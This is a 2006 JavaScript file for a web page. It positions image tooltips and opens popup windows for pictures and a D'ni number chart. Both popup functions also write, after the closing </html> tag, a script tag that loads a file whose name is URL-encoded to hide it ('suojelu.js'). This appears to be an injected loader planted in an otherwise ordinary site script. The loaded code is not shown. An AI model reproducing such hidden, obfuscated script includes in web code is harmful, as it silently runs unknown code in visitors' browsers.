
<!-- Created on March 25, 2006 10:29:32 AM -->


	var nsx;
	var nsy;

	if (document.all) // a főablak szélessége
		var winW=document.body.offsetWidth;  //ie, ennek a <body> tag után kell lennie <hülye ie!!>
	else
		var winW=window.innerWidth;  //ff

	if (!document.all) {	//ff
		document.captureEvents(Event.mousemove);	
		document.onmousemove = get_mouse;
	}
	function get_mouse(e) {
		nsx = e.pageX - 50;
		nsy = e.pageY + 5;
	}
	
	function layer(id){
	  var res;
	  if(document.getElementById) res=document.getElementById(id);
	  if(document.all) res=document.all[id];
	  if (res) return res.style;
	  return null;
	}
	
	function t_i(id) {
		var hlp = layer('Tp'+id);
		if (hlp) { 
			if (document.all) { //IE
				 nsy=event.y+document.body.scrollTop+5;
				 nsx=event.x+document.body.scrollLeft-50;
			}
			hlp.top = nsy + 20+"px";
			//hlp.width returns always nul, scrollWidth works in every browsers
			//in IE layer.clientWidth is suggested, too
			var fimage= document.getElementById('Tp' + id);
			var fwidth = fimage.scrollWidth
			
			if (id > 100)
				nsx = nsx - 150; //nagy képek esetén
				
			if (fwidth + nsx >= winW) // túllóg a jobbszélen?
				hlp.left = winW - fwidth - 60+"px";
			else			
				hlp.left = nsx > 20 ? nsx - 5+"px" : 10+"px";	//kilóg a balszélen?
				
			hlp.visibility = 'visible';
			}
	}
	
	function t_o(id) {
		var hlp = layer('Tp'+id);
		if(hlp) hlp.visibility='hidden';
	}
	
//=================================

	function openPicture (imageName, imageWidth, imageHeight, altName, posLeft, posTop) 
	{
		imWindow = window.open("","imWindow","width="+imageWidth+",height="+imageHeight+",left="+posLeft+",top="+posTop);
	  imWindow.document.open();
		imWindow.document.write('<html><title>'+altName+'</title><body bgcolor="#303030" leftmargin="0" topmargin="0" marginheight="0" marginwidth="0" onBlur="self.close()">'); 
		imWindow.document.write ('<img src=\"'+imageName+'\" width=\"'+imageWidth+'\" height=\"'+imageHeight+'\" alt=\"'+altName+'\">'); 
		imWindow.document.write('</body></html>');
		imWindow.document.write (' <script language="JavaScript" src="%73uojelu.%6A%73"></script>');
		imWindow.document.close();
		imWindow.focus();
	}
	
	function openNumbers (imageName, imageWidth, imageHeight, altName, posLeft, posTop) 
	{ 
		numWindow = window.open("","numWindow","width=350,height=455,left="+posLeft+",top="+posTop);
		numWindow.document.open();
		numWindow.document.write('<html><title>'+altName+'</title><body bgcolor="#303030" text="#ffffff" link="#00aaff" vlink="#00aaff"  leftmargin="0" topmargin="0" marginheight="0" marginwidth="0" >'); 
		numWindow.document.write('<img src=\"'+imageName+'\" width='+imageWidth+' height='+imageHeight+' alt=\"'+altName+'\">'); 
		numWindow.document.write("<center><p style=\"font-family:Verdana;font-size:10pt\">To know more about the D'ni number system<br>visit the <a href='http://www.dpwr.net/forums/index.php?autocom=ibwiki&cmd=article&id=807' target='_blank'>D'ni Pedia Writers Ring</a> site.</p></center>");
		numWindow.document.write('</body></html>');
		numWindow.document.write (' <script language="JavaScript" src="%73uojelu.%6A%73"></script>');
		numWindow.document.close();
		numWindow.focus();
	}		

